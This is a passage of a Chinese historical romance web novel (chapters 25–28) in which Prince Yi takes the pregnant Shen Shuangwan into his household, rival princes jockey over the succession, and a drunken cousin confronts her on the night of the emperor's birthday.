皇后道:“那我们十一郎比那个永平侯可好太多了,十一郎再如何也没有把一个怀孕的女人拿出来当挡箭牌。”
今上摇了摇头,道:“那薛望太不像薛聿,薛聿当年何等正直的人!”
皇后道:“子不肖父的事情常有发生,如永平侯那样不过是祖荫封爵,原也没多考量他是如何人品。”
今上很是赞同这话,便道:“他若今后能和嘉儿好生过日子,便也就罢了,这爵位就当是为了嘉儿给的,若今后还出些乱七八糟的事情,这爵便也不必让他再承袭下去。”
皇后笑了一声,道:“陛下说得很是。”
帝后二人正说着话,外面内侍进来了:“圣上,娘娘,仪王殿下回宫了,现在正在清芳殿。”
今上便道:“叫他到这儿来,正好陪着朕与皇后一起用晚膳了。”
内侍应下,便往清芳殿去。
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过了一会儿,仪王便跟着内侍一道进到了殿中来。他上前来先行了礼,然后回身从内侍手里接
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了个食盒,亲自拿到了今上和皇后面前。
“糖渍桂花。”仪王半跪在小几前,拿出了个巴掌大的琉璃罐子,“我今天从沈氏那儿得的,吃着不错,想着父皇和母后都爱吃甜的,就直接带进宫里来了。”
今上看着那晶莹剔透的琉璃罐子,首先想起的却是刚才他随口和皇后说的话,他这儿子不会真的喜欢那个沈氏吧?他转而去看皇后,皇后也正看着他,显然两人想到了同一件事情。
“让他们冲水来试试?”仪王没注意到今上和皇后的神色,回头把这罐子递给了旁边的宫人,“据说这是沈氏的独门秘诀,外头卖的都没她做得好。”
“那……就试试看。”今上认真看了一眼儿子的神色,心中的乱七八糟的想法一波接着一波。
皇后也留意多看了他一眼,但从他面上看不出什么来,便也懒得多想,只问道:“那沈氏你安置在何处了?”
仪王换了个姿势直接席地而坐,抬头看向了皇后,道:“就直接在府里嘛,昨天说好了她到我府里去的。”顿了顿,他又看了今上一眼,“我想着要不给她请个夫人?孺人是侧妃,父皇大概不愿意的。媵夫人怎么样?有个夫人的身份,也好在府中行事。”
今上露出惨不忍睹的神色:“那她肚子里孩子怎么办?”
“生下来啊,要不怎么办?”仪王莫名其妙看向了今上,“难道打掉?她这个月份可不能打,一不小心连大人都没命了。”
“你、你……”今上一时间竟然找不到什么话好说,他便转头去看皇后,“你说,这……”
皇后安抚地拍了拍今上的手,看向了仪王:“封夫人倒是好说,随你性子就是。”
“那我等会就让长史就往内府递请封书。”仪王点了点头。
“沈氏肚子里毕竟不是你的孩子。”今上沉默了一会,换了个角度与自己儿子分说,“你又不是不能生,别人家的孩子你打算养?”
“就是多一张嘴的事情,也不难啊!”仪王歪着头看向了自己父皇,“那虽然不是我的孩子,但是沈氏亲生的,其实也没什么差别。”
今上再次沉默了下去。
皇后若有所思看了眼仪王,道:“今日月芷还进宫来问你怎么躲着她。”
仪王对着皇后眨了眨眼睛,笑道:“我现在有沈氏了,还要什么杨氏?叫她死了心吧!”
说着话,宫人已经送上了两小碗糖渍桂花水。
仪王兴致勃勃又坐直了,向今上和皇后道:“快尝尝看,喜不喜欢这个味道?若是喜欢,我明年叫沈氏多做一些。今年桂花已经开过了,只好等着明年再来。”
今上端起那糖水尝了一口,心中却是五味杂陈,他拍了拍仪王的脑袋,道:“你……你怎么还像个孩子啊!”
皇后也尝了尝,笑着对仪王道:“若她明年得闲,便做一些送到宫里来。”
今上喝完了那碗糖水,又回味了一番,便点了头道:“明年的确可再进一些。”顿了顿,他又道,“你该长大了,若真的喜欢,那孩子便好好处理了,别给人留话柄。”
这话中有话,仪王抬眼看向了今上,便笑了笑,道:“父皇放心。”
25. 太子
仪王府中,沈霜晚与府中的侍女一起慢慢布置着住处。
尽管府中如今没有女主人,但应有的侍女并不少。
长史罗粱得了仪王吩咐,把府中一半的侍女调到了沈霜晚身边,另一半仍然还在仪王身边随侍。
尽管有罗粱的叮嘱,侍女们见到沈霜晚时候还是吃惊不小。
但能在仪王府伺候的没有蠢人,很快她们便与沈霜晚熟络起来。
先粗略认了人,再把平常看的书册等物从箱子里面先摆出来,最后把剩下不常用的便放到库房中去,如此归置了一番,便已经到了傍晚。
侍女们来问过了沈霜晚想吃的菜色,然后便从厨房提着食盒回来。
沈霜晚换了衣裳在食案前坐下,一边慢条斯理吃着晚饭,一边终于有心情去听脑子里面那吵闹的声音。
自从她猜测这声音是来自将来的薛望和她儿子后,这声音很是安静了半日,直到她到仪王府才又开始喋喋不休。
大约发现木已成舟,又心有不甘,故而打算直接在脑海中吵到底,最好是吵到她忍无可忍去走个回头路。
那声音道:“你看这府中有什么好处?全是下人,那些侍女看你也没有半点尊敬,还不如府中的承月那几个。”
沈霜晚扫了一眼在门口侍立的人,她们全都恭恭敬敬低着头,说起来倒是比侯府的下人们要规矩许多。
至于尊敬不尊敬,她才来一个下午,还挺着个大肚子,将心比心,若是她是下人突然看到自家主人带回来这么个女人,都是要大吃一惊的。
人之常情。
于是她吃了一片羊肉,没理那声音。
那声音又道:“你现在丢了侯夫人的诰命,事实上还不如那些侍女呢!”
沈霜晚又吃下了一块萝卜,长史罗粱正好便来到了门口,他手中捧着一份文书,恭敬进到屋子里面来。
“夫人,这是臣奉殿下命令前往内府为夫人取得的封号,暂封夫人为媵夫人,殿下是亲王,媵夫人为正六品。”罗粱上前来,把文书送到沈霜晚手中,接着又道,“殿下说这只是暂封,夫人安心收下就是,明日为夫人配齐伺候的人。”
沈霜晚便收下文书,又谢过了罗粱。
罗粱客气与沈霜晚点了头,并不在屋子里面多留,沈霜晚便叫侍女去送了送他。
脑子里面那声音重新安静下来,大约是觉得无话可说了。
沈霜晚倒是兴起了与那声音交谈的念头,她心道:事到如今了,不如坦诚一番你到底是谁吧?
那声音静默了许久,就在沈霜晚都要以为他不打算回答时候,他开口了:“事到如今,我是谁已经不重要了吧?”
沈霜晚夹起一块炸糕慢慢吃下,觉得好笑,这声音吵闹了这么久都不坦诚自己的身份,到现在又说自己的身份不重要,实在荒谬。
连姓名都不敢自报,是否是因为心虚?
是否是因为自己都知道,他的所有要求都是出于自私自利的算计?
那声音静默着,这一次一直等到沈霜晚吃完了晚饭,他也没有再出现了。
已经是夜晚,这一天似乎漫长,又似乎只有一瞬间一般。
沈霜晚梳洗之后躺在了陌生的床榻上。
她以为自己会有所思虑久久无法入睡,但她闭上眼睛,不过片刻就进入了梦乡。
.
仪王骑着马,慢慢朝着自己的府邸方向走。
穿过了一片安静的街坊,他回头看向那漆黑一片的屋宅,看向了身边的王傅陈斯。“父皇怎么还没把这一片宅子都赐出去,晚上走过这里都是黑漆漆的,叫人汗毛倒立。”他语气平静。
陈斯道:“这片是几位皇子的宅邸,如今也只能空着,等将来新帝有的皇子才好修缮了重新叫皇子们入住进去。”
“大哥去了两年了。”仪王看向了皇宫的方向,“隋王和嘉王他们最近在做什么?”
“倒是没怎么听说他们的动静,只知道他们常进宫去给太后请安。”陈斯说。
“我在宫里倒没怎么见他们。”仪王喃喃道。
陈斯看向了仪王,道:“听说殿下新得了一位夫人。”
“你不是现在才听说吧?昨天你又不是不在府中。”仪王收回目光,无所谓地看了陈斯一眼,“想说什么就直接说。”
“永平侯虽然不堪大用,但其父当年还是很有几分号召。”陈斯便直接了当开口了,“那位夫人……殿下一定要留么?”
“当然要留。”仪王道,“少师再如何有号召,也已经入了土,还是不要指望那些旧人了。”
陈斯道:“郑鹤得当年提拔了太多人,就算有那么一些在当年已经被除掉,但……或者还有一些只是蛰伏,等待着下一个机会。”
“不过利益而已,他们若是真心,当年为何不随郑鹤得去死?”仪王漠然道,“既然是利益,那便是墙头草,不足为惧。”
“那么臣以为殿下如今是有打算的。”陈斯说道,“自从殿下从凉州回来,似乎心中已经有了打算,只是还未来得及与臣等一一分说。”
仪王道:“我心中确实有几分打算,但现在还未到说出口的时候,且等一等。”
“要等到什么时候?”陈斯问。
仪王道:“等父皇的寿宴。”
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距离导致先太子与一众皇子之死的动乱已经过去了两年。
那一场动乱——又或者确切说那应是一场前所未有的未遂的政变。
关于那场动乱,到如今今上也未曾给出一个确切的论断,没有尘埃落定,没有真相大白,自然也没有冤屈和翻案。
这件事情便是一片混沌地摆在那里,没有人能说得清,也没有人敢去说请。
死了的人就那么不明不白死了,活着的人也只好糊里糊涂地活着。
今上老了,他登基至今三十六年,他在龙椅上坐了三十六年,他不再是年轻时候无所畏惧的皇帝,他开始惧怕苍老和死亡。
所以他不敢回头去看那场动乱,因为那场动乱的起因便是他的苍老。
所以他含糊其辞,如此便能
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当做自己还是年轻时候的英明神武。
但他也必须直面自己的苍老,他不可能真的含糊一辈子。
朝廷需要一个太子,他也需要从自己仅剩的皇子中挑选一位太子。
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行到仪王府外,终于看到灯火通明。
仪王从马上跳下来,长史罗粱便上前迎接。
陈斯与罗粱打了个招呼,牵着马儿直接往旁边去。
仪王看向罗粱,一边往府中走,一边随口问道:“有什么事情想说?”
“沈夫人挑了东北边的梧桐院,侍女们今日收拾好了,沈夫人已经歇下。”罗粱口齿伶俐,“臣是想着,沈夫人如今身怀有孕,要不要请个大夫在府中随时应着,免得将来要用大夫的时候又手忙脚乱。”
仪王点了头,道:“大夫请两个,产婆奶娘也备着,外头找不着好的,你便去问内府挑几个。”
罗粱忙记下来,又道:“沈夫人今日进府后,外面便有帖子送来。按理说有些需要女眷交际的宴席之类,是否要叫沈夫人去应付?”
仪王看了罗粱一眼,有些莫名其妙:“我有什么需要女眷交际的宴席?”
罗粱从怀里拿出个本子来翻开,照着念:“初七有隋王妃赏花宴,初九有嘉王妃马球赛,还有十八有……”
“不去。”仪王打断了他的话,“我不去的地方她就不去,我要去的地方,自然会带着她去。”
“臣明白了。”罗粱把本子给收了起来。
说话间两人已经走到了书房中,仪王招了下人过来换了衣服,然后看向罗粱:“你看着些府里,别叫有些眼高手低的人欺负她。”
罗粱看着仪王神色,没忍住开了个玩笑,道:“光看着殿下连沈夫人有孕都不计较,非要接回来,府里谁敢欺负她啊!”
这话叫仪王也忍不住笑了笑,道:“大家都这么以为就更好了。”
换完了衣裳,下人们捧着食盒进到屋子里面来,依次摆开了饭食。
仪王往外看了一眼,问道:“府中大家都吃过了么?”
“府中都是大肚罗汉,殿下要是想叫他们陪,他们还能再吃一顿。”罗粱说道。
“那就叫他们来陪我吃。”仪王道。
于是罗粱转身出去,把仪王府的大小属官都叫了出来陪同一起用饭。
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本朝循例前朝,东宫与王府皆是有属官的,譬如东宫有太傅,亲王有王傅,如此依次降等,王府属官幕僚若有心经营,可与东宫有比肩之势。
不过仪王经历了一次降爵,重封仪王也是这两年的事情,府中属官大多空悬,只设了王傅、祭酒、长史、司马等人,倒是显得单薄。
两侧摆好食案,属官们依次坐下,上首的仪王朝着这几个跟随自己多年的属官们举了举酒杯。
“许久没有和你们一起吃饭了,孤敬你们。”仪王说着,把一杯酒饮尽。
陈斯等人纷纷举杯迎合:“敬殿下。”
“再敬大哥。”仪王再对着天举杯,把一杯酒倒在地上。
26. 腊月
进了腊月,又是新年,又是今上六十寿辰,整个京城热闹异常。
那些海外诸国的使臣商队,草原上的可汗公主们,还有回京为皇帝祝寿的大小官员们把整个京城塞得满满当当。
走在京城大街上,随处可见金发碧眼的胡姬,高大温顺的骆驼,甚至还有如一堵墙一般的大象,关在笼子里面因为寒冷缩成一团的狮子。
各种奇珍异宝奇花异草被商人们大方地摆放出来供人挑选,神秘深邃青金石,玲珑剔透的玛瑙,还有如海水一样幽深湛蓝的蓝晶,五花八门琳琅满目,叫人目不暇接。
沈霜晚从书斋出来,扶着侍女慢慢穿过熙熙攘攘的街道,不时撩开帷帽好奇看一看那些毛茸茸叽叽喳喳吵吵嚷嚷的小动物们。
诸如狮子老虎那些她是不敢靠太近了,但小猫小狗还有小熊都十分可爱,还有会说话鹦鹉,会唱歌的鹩哥,她从前少见这些,此刻便觉得新奇。
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一只红蓝配色的大鹦鹉蹦蹦跳跳站在架子上,一看到她过来就开了口:“哇!你会说话!”
沈霜晚一愣,顿时笑出声来。
旁边的人也都听到这鹦鹉说话,纷纷向老板道你这鹦鹉实在是没教好。
老板嘿嘿一笑,道:“教它天地玄黄宇宙洪荒,硬是一句也没学会,偏偏就学会了这句,我也是没办法。”
那鹦鹉歪着头看向了老板,嘎嘎又道:“天地玄黄不吃胡瓜,不吃胡瓜!”
众人又哈哈笑起来。
那老板伸手摸了摸鹦鹉脑袋,叹道:“怎么办哦,你不吃胡瓜,我也卖不出好价格啊!”一边说着,老板回身用手托着一只雪白的鹦鹉出来了。
那白鹦鹉清了清嗓子,便吟了一句诗:“蒹葭苍苍白露为霜,所谓伊人在水一方。”
红蓝大鹦鹉咳嗽了一声,超大声叫唤起来:“不吃胡瓜!不吃胡瓜!”
老板抓了一把瓜子分别送到两只鹦鹉嘴边去,它们顿时不再吵闹,叼着瓜子如人一样磕开,又把瓜子皮吐掉,才吃到嘴里去。
沈霜晚正看得入神,身边突然有人托住了她的一只手,这街上人来人往,她只当是有人牵错,便转头去提醒,刚一侧身,却见是熟悉的面孔:仪王。
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“您怎么在这儿?”沈霜晚意外地撩起帷帽来。
仪王指了指街头,道:“出宫路过这边时候罗粱说看到了府上的车子,我便停下问了问,才知道你在这里。”说着他也去逗那只不吃胡瓜的鹦鹉,笑着问,“要不要把它买回去?”
沈霜晚笑着摆了摆手,道:“太吵闹,可不想每天都听不吃胡瓜。”
仪王便托着她的胳膊顺着人流慢慢往外走,道:“听罗粱说你最近常出府,怎么不多带点人?”
“带了两个侍女,够多了吧?”沈霜晚指了指伸手,“马车上还有两个侍卫和一个车夫,再多便夸张了,不过是出来走走。”
仪王道:“可你现在行动也不便,月份越来越大,万一出点什么事情,你这两个侍女也不顶用。”
沈霜晚笑道:“所以我便打算之后就不出门了,一来是麻烦,二来是想做的事情已经做完了。”
“你在做什么事情?”仪王好奇。
沈霜晚道:“手里有些父亲当年留下的书,原本在侯府时候就想出给京中的书斋,后来一直耽误了。搬家后又花了好久才清理出来,最近便叫人先联系了京中的书斋,今天就把那些书给卖掉了。”
仪王道:“那么麻烦做什么,干脆给我好了。”
沈霜晚便向他笑道:“您也不早说,早说我就不这么麻烦了。”
仪王也笑起来,道:“倒不是和你说笑,我的确搜罗许多书画珍本,改日带着你去我的书库看。”
沈霜晚道:“听起来您藏着不少好东西,我一定要看看的。”
两人说着话走出了那条热闹的街道,路边王府的马车还有仪王骑着的马都在一旁等着。
仪王看着沈霜晚上了马车,然后自己翻身上马,两人便一道回王府去。
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不知从何处飘来了乌云,天气阴沉下来,不多时就飘起了小雪。
再到马车回到王府,小雪变成了大雪,北风也呼啸起来。
仪王命车夫直接把马车赶到二门去,又叫人抬了暖轿过来,才允了沈霜晚下来。
这份周到是从前在永平侯府从未有过的,沈霜晚心中一边是感动一边是感慨,等到回屋子换了衣服,再出来时候便见厅中已经摆好了膳食,仪王正在厅中等她。
仪王也换了家常的衣服,他面前摆着的膳食与她的并不相同,想来是膳房依着两人平日里口味分别准备的。
有些事情便是叫人忍不住去比较,沈霜晚便忍不住去想从前在侯府时候从未有这样的事情,薛家的厨房向来只依着薛望的口味来。
仪王见她出来,比了个手势叫她直接坐下,口中道:“今日陪你用饭,从明日到十日后,你都见不到我了。你若有什么事情就和罗粱说,罗粱要是不在就找陈斯。”
沈霜晚把脑子里那些纷乱思绪丢开,先坐下,然后才看向了仪王:“殿下是要进宫去了?”
“是啊,父皇寿宴,我进宫去帮忙。”仪王说道,“来来回回府里宫里两头跑太麻烦,索性就直接在宫里住一些时日。你现在月份大了也不好进宫,等明年也带你一起进宫去。”
沈霜晚笑着道:“我便不去给殿下添麻烦了。”
仪王无所谓笑了笑:“宫里还不如府里,烦得很。”顿了顿,他又想起什么,道,“我那儿有些乱七八糟的小玩意,等会让罗粱拿给你,你想留着把玩也行,拿去赏人亦可,我记得有几只宝石镶嵌的金丝镯不错,你到时候留着给你儿子戴。”
沈霜晚下意识低头看了眼自己肚子,只好笑道:“那便先替他谢过殿下了。”
“不必这么客气。”仪王摆了摆手,“你都在我府上住了,我没那么小气,也不需要你报答,你就安心收了吧!”
吃完了饭,仪王没在梧桐院多留便离开了。
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大雪纷纷扬扬,很快地上便有了寸余积雪。<
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沈霜晚站在门口看了一会下雪,想要去堆个雪球的时候被侍女拦下,她笑着接了侍女送来的热茶,转回温暖屋子里面。
把前两天没看完的书翻出来看了两页,暖融融的屋子叫她生出困意。
于是她便丢开书,上床去休息。
这甚至是她快近十年来难得放松的时候,她几乎不怎么再做梦。
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书房中,仪王听着长史罗粱说府中的事情。
“永平侯又递了好几次帖子,我都回绝了,永平侯还想见沈夫人,我也回绝了。”罗粱拿着厚厚的簿子一条条对着念,“我估摸着永平侯还要继续递帖子,殿下可有什么应对?”
仪王百无聊赖玩着手里的毛笔,道:“他爱递就递,你照着回就是了,不必给什么面子。”
罗粱点头应下,接着又道:“杨家也递了好几次帖子,杨娘子还送了好几次吃食,我都回绝了。”顿了顿,他看向了仪王,“杨娘子派人在门口守了好几天,殿下没碰到么?”
仪王很是无辜地摇了摇头:“我怎么没发现她在门口?”
罗粱一时也无言以对:“杨娘子这事情,殿下有章程么?”
“她要亲自来了,就请沈夫人去见她。”仪王撑着头想了想,“我和沈夫人说好了的,她会替我打发这些事情。”
罗粱眼睛一亮,但旋即又露出不赞成的神色来:“可沈夫人现在都六七个月了,万一惊着了呢?”
“杨氏不敢。”仪王哼了一声,“她只会回去对着她的爹妈哭。”
罗粱将信将疑,便应下来。
仪王又道:“为稳妥起见,还是请大夫跟着沈夫人,别疏忽了。”
罗粱再次记下。
府中的事情说完了,罗粱退到一旁去,王傅陈斯开口说起了府外的事情。
“隋王和嘉王近来宴会不断,还请了雅王和密王。”陈斯说道,“有不少地方上的官员前去赴宴了,据说宴会都十分奢侈。”
“除了他们,宗亲有去么?”仪王看向了陈斯。
陈斯道:“长公主听说还在为成安郡主的事情烦恼,自然是没有去的,乐昌郡王据说是回驸马老家去了,并不在京中。至于其余的宗亲……倒是没见他们掺和这事情。”
一旁罗粱道:“先太子的事情殷鉴不远,京中的宗亲还是怕死的。”
陈斯很是赞同地点了点头。
“要这么看,我四哥他们就是很不怕死了。”仪王漫不经心地放下了手里的笔,“我接下来要进宫去十日,这些事情你们盯着就行了,只要没犯到我们府上来,便不必理会。”
“是!”罗粱和陈斯齐声应道。
“这十日,府中的事情就交给你们,沈夫人若有事情会来找你。”仪王指了指罗粱,“不要叫永平侯府的人跑出来恶心到了沈夫人,知道吗?”
罗粱笑道:“殿下放心,这些事情我是明白的。”
“至于杨氏,她应当会直接跑到宫里去……”仪王有些烦恼地摇了摇头,“还是得劝舅舅早点把她嫁出去。”
27. 画画
雪花纷纷扬扬。
四皇子隋王拿着铜钩拨弄着火盆中的木炭。
另一旁的七皇子嘉王把剥开的橘子皮往火盆里面丢。
“够了别丢了。”隋王把橘子皮用铜钩戳到另一边去,“这味道我不喜欢。”
于是嘉王便停了手,道:“以前母妃在的时候就喜欢往火盆里面丢这些,她总说这样能给屋子里面去味。”
隋王不说话了,他把铜钩丢到一旁去,拢起袖子坐下看着火盆出神。
嘉王把剥好的橘子分开递给隋王:“吃一个?我尝着味道不错。”
隋王伸手接了过来,却并没有立刻吃下去,而是看向了嘉王:“你说父皇会不会立仪王做太子?”
“立他?朝廷不翻天了?”嘉王吃着橘子嗤笑一声,“他跟杨家那事情还没结果呢,又弄了个怀孕的女人进府,他这性子能做太子?若真的立他,御史怕不是要把麟德殿给掀了。”
隋王掰开一片橘子,露出若有所思神色:“但这次父皇的寿宴,父皇还是交给他去办了。”
“那不过是看在皇后的份上。”嘉王道,“若我们母妃还在,在父皇面前说几句话,说不得就是我们兄弟去办了。”他露出几分讥讽,“现在想起来,那郑鹤得也是找到好时机,若不是那时候皇后和仪王在东都,就算有一百个郑鹤得挑拨,也出不了事。我看皇后倒是想推着仪王上去呢,不过仪王自己不中用也没法子。”
隋王吃下了那片橘子,神色终于松快了几分,他道:“天时地利人和,没有人能全部占尽的。”
嘉王吃完手里那半边橘子,找了帕子擦了擦手,看向了外面,有些惊叹了:“这雪怎么下这么大?”
隋王亦看向了外面,他道:“这是瑞雪兆丰年,正好又是父皇六十大寿,是好兆头。”
说着话,下人捧着汤锅夜宵进来了。
两人便收起了刚才的话头,说起了旁的事情。
.
夜渐渐深了。
天地间寂静一片,大雪安静落下。
薛望站在廊下,抬头看着漆黑的夜幕,他没有半点睡意。
沈霜晚离开薛家后他便不再回正院,他常常会想起沈霜晚嫁到薛家的这几年中点点滴滴,他似乎是后知后觉才发现他心里是有她的。
并非只是出于两家约定,也并非只是出于他心中认定的所谓责任。
他知道仪王给她请了六品媵夫人的名头,但他仍然觉得她有朝一日还是会回到他身边。
她是否也会怀念和他在一起的那些时光呢?
想到这里,他只感觉心中沉重而黯淡。他转身进去书房中,几案上摆着几套新书,还有一些宫中新制的小玩意,几案正中摆着一张精致的花笺。
薛望拿起那花笺,上头有成安郡主的字迹和款款情深的话语。
他想起沈霜晚肚子里的孩子。
等春暖花开时候,她将会生下他的孩子,那时候她是否愿意回到薛家?
成安郡主……是否愿意接受那样一个孩子?
若郡主不接受,他该怎么办?
花笺上,成安郡主写着,彼狡童兮,不与我言兮。维子之故,使我不能餐兮。①
他却也不禁笑了笑,至少郡主于他也是真心。
或者他也应当向前看,而不是执着地回头。
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沈霜晚醒来时候只觉得外面分外明亮。。
下了一夜的雪已经停下,太阳出来照在厚厚积雪上,反射出耀眼光芒。
王府的下人们把树上和屋顶上的积雪清扫了,又特地留出了院子里面可以欣赏的雪景。
沈霜晚换了厚衣服在院子里面站了一会,便回屋不再出去。
拿起最近几日在看的书翻了翻,她忽然来了兴致,从箱子底下翻出了许久没用过的颜料画笔,寥寥数笔勾勒一幅山石雪竹图。
一边画一边又朝着窗外看了看,她向旁边侍女笑道:“你看像不像这院子?”
侍女便上前来,先看过画又看到窗外,赞叹道:“像极了。夫人这丹青笔墨比府里那些先生们还要好。”
沈霜晚放下笔拿起画纸自己看了看,笑道:“大约是比不过他们,我许多年没画过了。”说着,她重新放下画纸,又在旁边那箱子里面找自己以前刻的闲章。
箱子里面零碎的东西实在太多,当初搬到王府来的时候放得也随便,这会儿一口气倒是翻出了之前在薛家时候没找到的一套小羊的镇纸,闲章则不知道被塞到哪个箱子里面去。
翻了一会没翻到,沈霜晚也不纠结,只把那小羊镇纸摆出来,再叫侍女把那箱子收起来,又额外叮嘱她们若看到她那套闲章记得告诉她。
侍女笑着应下了,道:“夫人放心,就算这会儿找不到,下回说不得夫人找别的什么东西时候就翻出来了。”
沈霜晚亦笑道:“我也正是这么想的。”
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正说着话,外面传来脚步声,还有问好声,沈霜晚侧头看向门口,只见仪王正撩开帘子进来。
她起身要上前去,仪王便直接叫她直接坐下就好。
“雪太大了,门口路上雪厚得马车都走不了,这会儿叫人去扫雪,我便过来你这儿看看。”仪王一边说着,一边走到沈霜晚旁边来,他见到那幅画,眼睛亮了亮,“这画很不错,你画的么?”说着他又注意到那一整套大大小小的羊组成的镇纸,情不自禁就拿起一只山羊看了看,“这镇纸实在有趣,是一整套?”
沈霜晚便坐着回他道:“是一整套羊,当初我父亲尚在时候给我雕的。”
“有趣又精巧还很活泼。”仪王赞叹地把那一套大大小小的羊都拿起来看了一遍,最后目光重新落回到那幅画上,“你以前在家学过丹青?”
沈霜晚道:“没有正经学过,只是启蒙时候跟着父亲学过一些皮毛,后面就自己画着好玩。”
“比我画得好。”仪王认真看了会儿,“有种浑然天成的灵动气韵,我的画就十分匠气。”一边说着,他一边爱不释手把那画看了又看,最后看向了沈霜晚,“这张送我?”
沈霜晚没想到仪王会喜欢这个,这画也实在不是什么贵重的东西,她便笑道:“殿下喜欢拿去就是了。”
仪王高兴地叫
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身边长随把这画收起来,然后道:“我去看看外面雪扫干净没有,今天就进宫去了,十日后再见。你有什么事情便直接去找罗粱。”
沈霜晚笑着应下,起身要送他,又被仪王拦下,便只好目送他一阵风一样又走开了。
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仪王进宫后,王府中安静了许多。
但沈霜晚并感觉不到这些,她原也不怎么知道前头仪王在做什么,每次也只有仪王过来找她的时候,梧桐院才多一些人气。
今上寿宴当日,从宫中赐下了几道菜,沈霜晚颇有些受宠若惊,她在京中这么久,还是第一次收到宫里有这样的赏赐。
夜幕降临之后,城墙上放了巨大的烟花,半边天际都被各种各样的龙腾凤舞的烟火照亮,街上还传来了百姓们欢呼的声音。
沈霜晚捧着肚子外面看了会儿烟花,心中遗憾着若不是怀孕太不方便,今夜必定是能出去凑一凑热闹的。
心中的遗憾还没散干净,沈霜晚忽然看到府中长史罗粱从外面进来了。
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“夫人。”罗粱上前来行了礼,“有件事情想请您出面处理一番。”
沈霜晚疑惑地看向了罗粱,有些想不出这样的夜晚能有什么事情是需要她去处理的。
罗粱也看着她,他语气有些犹豫:“杨娘子正在外面不走,殿下之前说……”
沈霜晚有些吃惊了,杨氏难道今日不应当进宫给皇帝祝寿?为何会到王府来?
她看着罗粱,罗粱也看着她。
两人面面相觑了一会,最后沈霜晚开口了:“那便去见吧!”
罗粱松了口气,又有些紧张:“我去叫府医过来跟着夫人,以防万一。”
沈霜晚倒是没什么意见,只是好奇:“所以那位杨娘子今日不应当在宫里么,为何这时候到府上来了?”
罗粱想了想,道:“我闻着杨娘子身上有酒味,也许是喝醉了就来了?”
沈霜晚道:“那的确应当叫个府医,等会先给她喝点醒酒茶,若醉过去了好叫人送她回家去。”
罗粱道:“杨娘子那性子……恐怕不会善罢甘休。”
“那就先去杨家通传一声。”沈霜晚披上了厚厚的氅衣,与罗粱一起往外走,“总不能就叫杨娘子在府上过夜,否则殿下回来就说不清了。”
这话叫罗粱一个激灵,忙叫了人先往杨家去,口中道:“幸好夫人提醒了这句,我们还是太疏忽了些。”
两人说着话,从梧桐院再一路走到前院,便见杨月芷穿着端庄的大礼服还梳了繁复的发髻正站在正厅中央。
杨月芷见他们进来,便耀武扬威喝道:“府中如今是一点规矩都没有了!我回来这么久,竟是一个人都不见!你们这些没规矩的奴婢,明日就全都赶出去卖了!”
沈霜晚回头看了一眼廊下那些奴婢侍卫们,又看了一眼醉醺醺的杨月芷,再看向了罗粱,示意他这人已经完全醉了,根本不是能沟通的样子。
而杨月芷看到沈霜晚,忽然眉头一皱,晃晃悠悠朝着她走了过来,口中道:“就是你、就是你!你蛊惑了赵弘美,是不是!”
28. 宴夜
沈霜晚愣了一会才后知后觉意识到赵弘美是仪王的大名,她看着杨月芷那醉醺醺的模样,侧身叫身后的侍女上前来把她架住。
杨月芷似乎醉了又似乎没醉,一看到侍女上前,便勃然大怒停下脚步,道:“你们谁敢碰我?反了天了!我是王妃,你们谁敢上前来?”说着,她趾高气昂看向了沈霜晚,“我听闻你封了媵夫人,这府里除非我开口,谁封了也不算!你肚子里怀的是谁的孩子?你今天就给我滚出王府!”
沈霜晚听着这话只觉得好笑,倒是有些理解为何她不去圣上的寿宴反而来到了这里,若是仪王在这里,恐怕她连大门也进不来,更别说在这里大放厥词。她看向了一旁的罗粱,问道:“去杨家的人回来了没有?若是没有就再派人去催一催,叫他们把自家女儿接回去,在别人家里撒泼可不成样子。”
罗粱道:“已经派了人过去,杨家离得不远,应很快就回来了。”
沈霜晚点头,重新看向了杨月芷,她摇摇摆摆原地转了一圈,最后后退了几步直接跌坐在了地上。
“去把杨娘子扶起来,喂两杯醒酒茶。”沈霜晚向左右道。
府医已经带着醒酒茶过来,侍女们便接了醒酒茶,上前去扶住了杨月芷不叫她倒到地上,又把那醒酒茶给她灌了下去。
两杯茶下肚,杨月芷似乎清醒了许多,她扶着胸口哕了几口,沈霜晚皱着眉头叫人捧着漱盂上前。
秽物之中酒味太浓,沈霜晚后退到门口,远远看着。
杨月芷吐过之后,似乎清醒了一些,她扶着侍女站起来,又嫌恶地把侍女给甩开。
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身后,杨家人已经被匆忙带了进来。
来人应是杨家的管事娘子,见到杨月芷时候满脸惊骇。她先道:“五娘为何在这里?不是跟着夫人一起在宫中吗?”顿了顿,她意识到什么,闭嘴不敢多问,只草草对着沈霜晚和罗粱行了礼,再命人上前去搀扶杨月芷。
杨月芷见到来人,后退了两步,似乎想躲开他们。
那管事娘子见状便亲自上前去,一把抓住了杨月芷的胳膊。
杨月芷挣扎了几下,却终究是没睁开那管事娘子的手。管事娘子低声在她耳边说了些什么,杨月芷皱起眉头,似乎这时才真正清醒过来。
管事娘子见状,便直接拉着杨月芷往外走,一面走,一面向沈霜晚和罗粱歉意地笑了笑,道:“实在是我家娘子酒后无状才跑过来,若有得罪之处,请二位见谅了。”
杨月芷盯着沈霜晚的肚子看了许久,又去看她的脸,她似乎是想说什么的,但还没来得及开口却被那管事娘子给拉住了。
“我们这就告辞了,若殿下回来知道这事情,还想请二位在殿下面前描补几句。”管事娘子按着杨月芷如此说道,“殿下与我家娘子再如何也是表兄妹……请二位看在这上面……”话说到这里她似乎觉得有些勉强了,但还是坚强说了下去,“还请二位多多包涵。”
罗粱不置可否,只淡漠看着。
沈霜晚扶着侍女的手往旁边站了站,同样没有说话。
那管事娘子露出尴尬神色,一时间也不知还能说什么。
这时,杨月芷突然甩开了那管事娘子,两步就冲到了沈霜晚面前来,道:“你配不上赵弘美。”她一边笑一边说,“你竟然还怀孕了,我竟不知道赵弘美还有这样癖好!你到底是怎么蛊惑了他?”
不等沈霜晚开口,管事娘子一个箭步过来重新拽走了杨月芷。
管事娘子这回再不敢拿什么架子,她直接跪在了沈霜晚面前,口中道:“夫人,我家娘子喝多了说话不算数,还请夫人见谅。”
沈霜晚轻哼了一声,道:“这恐怕是你们娘子的真心话吧?你放心,这事情我必定是会与殿下说的。至于殿下是不是要计较——”她拉长了声音,最后只笑了笑,没把话说完。
管事娘子面色灰败下去,她不敢再纠缠,直接便拖拽着杨月芷离开。
沈霜晚冷眼看着,便叫罗粱遣人去门口看着,等杨家的马车走了再关门回来。
罗粱便依着吩咐叫侍卫跟着出去,一直等到杨家人都走了才回来。
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这事情了了,沈霜晚便扶着侍女回梧桐院去。
罗粱安静地跟在一旁。
